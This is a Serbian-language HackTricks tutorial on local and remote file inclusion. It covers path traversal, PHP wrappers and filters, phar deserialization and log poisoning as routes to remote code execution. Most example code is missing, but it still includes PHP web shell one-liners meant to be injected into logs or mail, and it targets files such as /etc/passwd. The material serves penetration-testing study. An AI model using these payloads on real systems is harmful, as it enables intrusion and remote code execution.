<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
**Udaljeno uključivanje datoteka (RFI):** Datoteka se učitava sa udaljenog servera (Najbolje: Možete napisati kod i server će ga izvršiti). U php-u je ovo **onemogućeno** po podrazumevanim podešavanjima (**allow\_url\_include**).\
**Lokalno uključivanje datoteka (LFI):** Server učitava lokalnu datoteku.
Listu koja koristi nekoliko tehnika za pronalaženje fajla /etc/password (kako bi se proverilo da li postoji ranjivost) možete pronaći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Listu koja koristi nekoliko tehnika za pronalaženje fajla /boot.ini (kako bi se proverilo da li postoji ranjivost) možete pronaći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Svi primeri su za lokalno uključivanje fajlova, ali mogu se primeniti i na udaljeno uključivanje fajlova (stranica=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
### sekvence pretrage bez rekurzije sa uklonjenim znakovima
Ova tehnika se koristi za izvršavanje napada na uključivanje datoteka kada ciljani veb server primenjuje filtriranje putanja kako bi sprečio upotrebu specijalnih znakova. Umesto da koristite rekurzivne sekvence pretrage, ova metoda uklanja sve specijalne znakove iz putanje kako bi se izvršio napad.
Fajl sistem servera može se rekurzivno istraživati kako bi se identifikovali direktorijumi, a ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje određivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. U nastavku je detaljno opisan metod za postizanje ovog cilja:
Utvrđivanje dubine trenutnog direktorijuma postiže se uspešnim dohvatanjem fajla `/etc/passwd` (primenjivo ako je server zasnovan na Linuxu). Primer URL-a može biti struktuiran na sledeći način, što ukazuje na dubinu od tri:
Dodajte ime sumnjivog foldera (npr. `private`) na URL, a zatim se vratite na `/etc/passwd`. Dodavanje dodatnog nivoa direktorijuma zahteva povećanje dubine za jedan:
Otkriveni folderi mogu se dalje istraživati u potrazi za poddirektorijumima ili fajlovima koristeći istu tehniku ili tradicionalne metode lokalnog uključivanja fajlova (LFI).
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload prema potrebi. Na primer, da biste proverili da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da je trenutni direktorijum na dubini 3), koristite:
Tehnika skraćivanja putanje je metoda koja se koristi za manipulaciju putanjama datoteka u veb aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilazeći određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je da se kreira putanja datoteke koja, nakon izmena sigurnosne mere, i dalje pokazuje na željenu datoteku.
Pruženi primeri demonstriraju kako koristiti tehniku skraćivanja putanje da bi se pristupilo `/etc/passwd`, čestoj meti zbog njenog osetljivog sadržaja (informacije o korisničkim nalozima):
- **Korišćenje tačka segmenata i dodatnih karaktera**:
Sekvence prolaza (`../`) kombinovane sa dodatnim tačka segmentima i karakterima mogu se koristiti za navigaciju po fajl sistemu, efektivno ignorišući dodate stringove od strane servera.
Kroz pokušaj i grešku, može se pronaći precizan broj sekvenci `../` potrebnih za navigaciju do korenskog direktorijuma, a zatim do `/etc/passwd`, obezbeđujući da se neutrališu dodati stringovi (kao što je `.php`), ali da željena putanja (`/etc/passwd`) ostane netaknuta.
Uobičajena praksa je započeti putanju sa nepostojećim direktorijumom (kao što je `a/`). Ova tehnika se koristi kao preventivna mera ili da bi se ispunili zahtevi logike parsiranja putanje servera.
Prilikom korišćenja tehnika skraćivanja putanje, ključno je razumeti ponašanje servera pri parsiranju putanje i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a često je potrebno testiranje da bi se pronašla najefektivnija metoda.
U PHP-u je ovo podrazumevano onemogućeno jer je **`allow_url_include`** postavljen na **Off**. Da bi ovo funkcionisalo, mora biti postavljen na **On**, a u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE (daljinsko izvršavanje koda).
Ako iz nekog razloga **`allow_url_include`** je **Uključeno**, ali PHP **filtrira** pristup spoljnim veb stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete koristiti na primer protokol podataka sa base64 za dekodiranje b64 PHP koda i dobijanje RCE:
U prethodnom kodu, konačni `+.txt` je dodat jer napadaču treba string koji se završava sa `.txt`, tako da će taj deo stringa biti smeće nakon b64 dekodiranja i pravi PHP kod će biti uključen (i stoga, izvršen).
Izgleda da ako imate Path Traversal u Javi i **zahtevate direktorijum** umesto fajla, **vratiće se lista direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).
Evo liste od 25 najčešćih parametara koji mogu biti ranjivi na lokalno uključivanje fajlova (LFI) (sa [linka](https://twitter.com/trbughunters/status/1279768631845494787)):
PHP filteri omogućavaju izvođenje osnovnih **operacija modifikacije podataka** pre nego što se pročitaju ili zapišu. Postoje 5 kategorija filtera:
* [Filteri za stringove](https://www.php.net/manual/en/filters.string.php):
*`string.rot13`
*`string.toupper`
*`string.tolower`
*`string.strip_tags`: Uklanja oznake iz podataka (sve između "<" i ">" znakova)
* Napomena: Ovaj filter je nestao iz modernih verzija PHP-a
* [Filteri za konverziju](https://www.php.net/manual/en/filters.convert.php)
*`convert.base64-encode`
*`convert.base64-decode`
*`convert.quoted-printable-encode`
*`convert.quoted-printable-decode`
*`convert.iconv.*` : Transformiše u drugo kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **listu svih podržanih kodiranja**, pokrenite u konzoli: `iconv -l`
Zloupotrebom konverzioniog filtera `convert.iconv.*` možete **generisati proizvoljan tekst**, što može biti korisno za pisanje proizvoljnog teksta ili izvršavanje funkcije kao što je uključivanje proizvoljnog teksta. Za više informacija pogledajte [**LFI2RCE putem php filtera**](lfi2rce-via-php-filters.md).
Možete takođe koristiti **php://stdin, php://stdout i php://stderr** da pristupite **file descriptorima 0, 1 i 2** redom (nisam siguran kako bi ovo moglo biti korisno u napadu)
Data URI je način za uključivanje podataka direktno u HTML ili CSS fajlove. Ova tehnika se može iskoristiti za uključivanje malicioznog koda ili izvršavanje napada na server. Kada se koristi u kontekstu file inclusion napada, data URI se može iskoristiti za uključivanje udaljenih fajlova ili čak izvršavanje lokalnih fajlova na serveru. Ovo može dovesti do otkrivanja osetljivih informacija ili izvršavanja proizvoljnog koda na serveru.
Da biste izvršili file inclusion napad pomoću data URI, potrebno je pronaći ranjivu tačku na ciljnom serveru koja omogućava uključivanje fajlova. Zatim možete konstruisati URL koji sadrži data URI koji pokazuje na fajl koji želite uključiti. Kada se ovaj URL prosledi serveru, on će pokušati uključiti fajl i izvršiti ga, što može dovesti do neželjenih posledica.
Da biste se zaštitili od file inclusion napada putem data URI, preporučuje se da se proveri i validira svaki URL koji se prosleđuje serveru. Takođe je važno ažurirati i zakrpati sve ranjive tačke na serveru kako bi se smanjio rizik od ovakvih napada.
`.phar` fajl može se koristiti za izvršavanje PHP koda kada veb aplikacija koristi funkcije poput `include` za učitavanje fajlova. PHP kod ispod prikazuje kako se kreira `.phar` fajl:
Prilikom izvršavanja, kreiraće se datoteka nazvana `test.phar`, koja potencijalno može biti iskorišćena za iskorišćavanje ranjivosti lokalnog uključivanja datoteka (LFI).
U slučajevima kada LFI samo vrši čitanje datoteka bez izvršavanja PHP koda unutar njih, kroz funkcije poput `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` ili `filesize()`, može se pokušati iskorišćavanje ranjivosti de-serijalizacije. Ova ranjivost je povezana sa čitanjem datoteka korišćenjem `phar` protokola.
* [php://memory i php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Pisanje u memoriju ili u privremenu datoteku (nije sigurno kako ovo može biti korisno u napadu uključivanja datoteka)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Pristupanje lokalnom fajl sistemu
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pronalaženje putanja koje odgovaraju šablonu (ne vraća ništa štampajuće, pa nije stvarno korisno ovde)
Rizici lokalnog uključivanja datoteka (LFI) u PHP-u su posebno visoki prilikom rukovanja funkcijom 'assert', koja može izvršiti kod unutar stringova. To je posebno problematično ako se proverava ulaz koji sadrži karaktere za pretraživanje direktorijuma poput "..", ali nije pravilno dezinfikovan.
Iako ovo ima za cilj zaustavljanje traversal-a, nenamerno stvara vektor za ubrizgavanje koda. Da bi iskoristio ovo za čitanje sadržaja fajla, napadač bi mogao koristiti:
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
Ova tehnika je relevantna u slučajevima kada **kontrolišete****putanju fajla****PHP funkcije** koja će **pristupiti fajlu**, ali nećete videti sadržaj fajla (kao jednostavan poziv **`file()`**), ali sadržaj nije prikazan.
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepo putovanje putem putanje može zloupotrebiti putem PHP filtera da bi se **izfiltrirao sadržaj fajla putem orakla greške**.
Ukratko, tehnika koristi **"UCS-4LE" kodiranje** da bi sadržaj fajla bio toliko **veliki** da će **PHP funkcija koja otvara** fajl izazvati **grešku**.
Zatim, kako bi se otkrio prvi karakter, koristi se filter **`dechunk`** zajedno sa drugim filterima kao što su **base64** ili **rot13**, a zatim se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da bi se **postavili drugi karakteri na početak i otkrili ih**.
**Funkcije koje mogu biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo cilj čitanja samo sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Ako je server Apache ili Nginx **ranjiv na LFI** unutar funkcije za uključivanje, možete pokušati pristupiti **`/var/log/apache2/access.log` ili `/var/log/nginx/access.log`**, postaviti unutar **user agenta** ili unutar **GET parametra** PHP shell kao što je **`<?php system($_GET['c']); ?>`** i uključiti taj fajl
Imajte na umu da **ako koristite dvostruke navodnike** za shell umesto **jednostrukih navodnika**, dvostruki navodnici će biti izmenjeni u string "_**quote;**_", **PHP će tu baciti grešku** i **ništa drugo neće biti izvršeno**.
Takođe, pobrinite se da **ispravno napišete payload** ili će PHP svaki put pri pokušaju učitavanja log fajla baciti grešku i nećete imati drugu priliku.
Ovo se takođe može uraditi i u drugim logovima, ali **budite oprezni**, kod unutar logova može biti URL-kodiran i to može uništiti Shell. Zaglavlje **autorizacija "basic"** sadrži "korisnik:lozinka" u Base64 i dekodira se unutar logova. PHPShell može biti ubačen unutar ovog zaglavlja.\
**Pošaljite e-poštu** na interni nalog (user@localhost) koja sadrži vaš PHP payload kao `<?php echo system($_REQUEST["cmd"]); ?>` i pokušajte da je uključite u poštu korisnika sa putanjom kao **`/var/mail/<KORISNIČKO_IME>`** ili **`/var/spool/mail/<KORISNIČKO_IME>`**
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), gde je $PID PID procesa (može se probiti) i $FD deskriptor fajla (takođe se može probiti)
Logovi za FTP server vsftpd nalaze se na **_/var/log/vsftpd.log_**. U scenariju gde postoji ranjivost lokalnog uključivanja datoteka (LFI) i moguć pristup izloženom vsftpd serveru, mogu se razmotriti sledeći koraci:
Kao što je prikazano u [ovom](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete to koristiti da biste zaobišli proveru ekstenzije datoteke: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payloada:
Ovaj [**članak**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) objašnjava da možete koristiti **PHP filtere za generisanje proizvoljnog sadržaja** kao izlaz. To znači da možete **generisati proizvoljni PHP kod** za uključivanje **bez potrebe da ga pišete** u fajl.
**Postavite** fajl koji će biti smešten kao **privremeni** u `/tmp`, zatim u **istom zahtevu**, izazovite **grešku segmentacije**, i tada **privremeni fajl neće biti obrisan** i možete ga pronaći.
Ako ste pronašli **Lokalno uključivanje fajlova**, čak i ako **nemate sesiju** i `session.auto_start` je `Off`. Ako pružite **`PHP_SESSION_UPLOAD_PROGRESS`** u **multipart POST** podacima, PHP će **omogućiti sesiju za vas**. Možete zloupotrebiti ovo da biste dobili RCE:
Ako ste pronašli **Lokalno uključivanje fajlova** i možete **izvući putanju** privremenog fajla, ALI **server** proverava da li **fajl koji treba da se uključi ima PHP oznake**, možete pokušati da **zaobiđete tu proveru** sa ovom **trkom stanja**:
Ako možete zloupotrebiti LFI da biste **otpustili privremene fajlove** i naterali server da **zastane** izvršavanje PHP-a, tada možete **brute force-ovati imena fajlova satima** da biste pronašli privremeni fajl:
Ako uključite bilo koji od fajlova `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Morate uključiti isti fajl 2 puta da biste izazvali tu grešku).
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, pogledajte [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.